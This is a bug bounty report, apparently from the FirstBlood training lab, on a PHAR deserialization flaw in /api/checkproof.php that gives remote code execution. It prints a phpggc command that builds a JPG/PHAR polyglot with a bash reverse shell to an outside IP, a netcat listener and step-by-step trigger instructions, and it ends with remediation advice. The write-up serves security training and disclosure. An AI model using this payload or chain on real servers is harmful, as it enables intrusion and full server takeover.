FirstBlood-#562 — RCE via PHAR deserialization on /api/checkproof.php
This issue was discovered on FirstBlood v2
On 2021-10-26, 0x1452 Level 3 reported:
Hey!
Summary
I found a PHAR deserialization issue on the /api/checkproof.php
endpoint. After uploading your proof of vaccination on /vaccination-manager/pub/upload-vaccination-proof.php
the site will make a POST request to /vaccination-manager/pub/submit-vaccination-proof.php
. The response contains the following code:
<script>
$(document).ready(function () {
fetch('/api/checkproof.php?proof=/app/firstblood/upload/16bf9e2ddf0bc8fd64084efe61aaeb4d8d176001.jpg')
.then(response => response.json())
.then(function (data) {
$('#checking-proof').addClass('d-none');
if (data == true)
{
$('#proof-thanks').removeClass('d-none');
$('#proof-header').text('Vaccination proof uploaded');
}
else
{
$('#proof-error').removeClass('d-none');
$('#proof-header').text('Error uploading vaccination proof');
}
});
})
</script>
As far as I can tell, the site makes a request to /api/checkproof.php?proof=:file_path
which checks whether the file at :file_path
exists. This could potentially be implemented by using the file_exists
function. However, passing arbitrary user input into functions that work on files can lead to deserialization vulnerabilities by abusing the phar://
stream wrapper.
What is PHAR?
This article contains a brief explanation of Phar archives and how they can be exploited. A short summary:
- Most PHP functions that work on files accept the
phar://
stream wrapper
- Phar archives are similar to Java's JAR files, allowing you to bundle PHP code files and resources into a single archive file
- Phar archives can contain PHP objects as metadata
- If a phar file is passed to a function like
file_exists
via the phar://
wrapper, the metadata will be deserialized!
- A JPG/PHAR polyglot can be uploaded via common image upload features and will be a valid PHAR archive independent of its file extension
How to exploit this
To exploit this an attacker needs three things:
- A way to upload a valid PHAR archive to the server ->
/vaccination-manager/pub/upload-vaccination-proof.php
- A way to pass arbitrary user input to a function that handles files ->
/api/checkproof.php?proof=:path
- Knowledge of the server's source code
- Either direct access to the source code -> find vulnerable classes that could cause code execution when being deserialized
- Or an info leak containing the used framework + version numbers -> tools like
phpggc
can generate malicious PHAR files with existing gadget chains for certain frameworks
Finding the third part took me a while but it was as simple as fuzzing for some common files. Eventually I found the /composer.json
endpoint with the following content:
{
"require": {
"monolog/monolog": "2.1.1"
}
}
EDIT: Another endpoint that leaks a large amount of information about installed PHP packages is /vendor/composer/installed.json
.
Now that we have all the required parts, we can start working on the exploit. To generate the malicious PHAR archive I used a tool called phpggc
. Use the following command to find all gadget chains for monolog:
tep@pc:/mnt/d/Infosec/BBH/FB2/phar$ phpggc -l monolog
Gadget Chains
-------------
NAME VERSION TYPE VECTOR I
Monolog/RCE1 1.4.1 <= 1.6.0 1.17.2 <= 2.2.0+ RCE (Function call) __destruct
Monolog/RCE2 1.4.1 <= 2.2.0+ RCE (Function call) __destruct
Monolog/RCE3 1.1.0 <= 1.10.0 RCE (Function call) __destruct
Monolog/RCE4 ? <= 2.4.4+ RCE (Command) __destruct *
Monolog/RCE5 1.25 <= 2.2.0+ RCE (Function call) __destruct
Monolog/RCE6 1.10.0 <= 2.2.0+ RCE (Function call) __destruct
Monolog/RCE7 1.10.0 <= 2.2.0+ RCE (Function call) __destruct *
Based on the version revealed in composer.json
all of the chains besides RCE3 could potentially work for us. The one that eventually worked for me was RCE4.
To generate a JPG/PHAR polyglot use the following command:
tep@pc:/mnt/d/Infosec/BBH/FB2/phar$ phpggc Monolog/RCE4 'bash -i >& /dev/tcp/159.223.18.143/41328 0>&1' -pj yep.jpg > output/Monolog-RCE4-revshell.jpg
This payload expects a nc
listener on my VPS on port 41328
:
octavian28:leaky-paths:% nc -lvnp 41328
Listening on 0.0.0.0 41328
...
Now we just need to upload the generated archive on /vaccination-manager/pub/upload-vaccination-proof.php
. When looking at your HTTP history in a tool like Burp you will notice a request to /api/checkproof.php?proof=/app/firstblood/upload/<hash>.jpg
. Repeat this request but replace the value of proof
with phar:///app/firstblood/upload/<hash>.jpg
.
The PHAR/JPG polyglot I just uploaded will now get deserialized on the server and I get a shell on my VPS:
The shell will get closed after a few minutes, but it can be reopened by repeating the request to /api/checkproof.php
. There is probably a way to persist the shell but I haven't looked into it yet.
The attacker now has full access to the server as the fb-exec
user. Misconfigurations on the server might allow the attacker to elevate their privileges, leading to a full takeover of the server.
Steps to reproduce
- Generate a malicious PHAR archive using
phpggc
that targets monolog 2.1.1 (e.g. Monolog/RCE4)
- Command:
phpggc Monolog/RCE4 'bash -i >& /dev/tcp/159.223.18.143/41328 0>&1' -pj yep.jpg > output/Monolog-RCE4-revshell.jpg
- Start a
nc
listener on the attacker's server (nc -lvnp 41328
in this case)
- Upload the archive at
/vaccination-manager/pub/upload-vaccination-proof.php
- Notice the request to
/api/checkproof.php
- Repeat the previous request but add the
phar://
prefix to the proof
value
- i.e.
?proof=phar:///app/firstblood/upload/<hash>.jpg
Impact
The attacker can execute arbitrary commands on your server. This also allows them to get a shell, potentially leading to a full takeover of your server if they can escalate their privileges.
Remediation
- Avoid letting users pass arbitrary user input into functions that handle files
- Add sanitization to user input -> don't allow the user to pass any valid variation of
phar://
to vulnerable functions
I'm not sure if it's possible to fully deactivate deserializing PHAR archives per default but if you can figure out a way I'd recommend doing that.
P1 CRITICAL
Endpoint: /api/checkproof.php
Parameter: proof
Payload: phar:///<path to uploaded PHAR/JPG polyglot>
FirstBlood ID: 34
Vulnerability Type: Deserialization
This endpoint calls filesize() on the path provided in the 'proof' param with no filtering or sanitisation. By adding the phar:// stream handler to the path, an attacker can force a previously uploaded file to be sent through deserialisation. Coupled with the fact that a gadget-chain vulnerable version of monolog is being used, this allows for RCE.
Creator & Administrator
Nice find 0x1452! Great work. It is possible to escalate your privileges, feel free to play around! ;)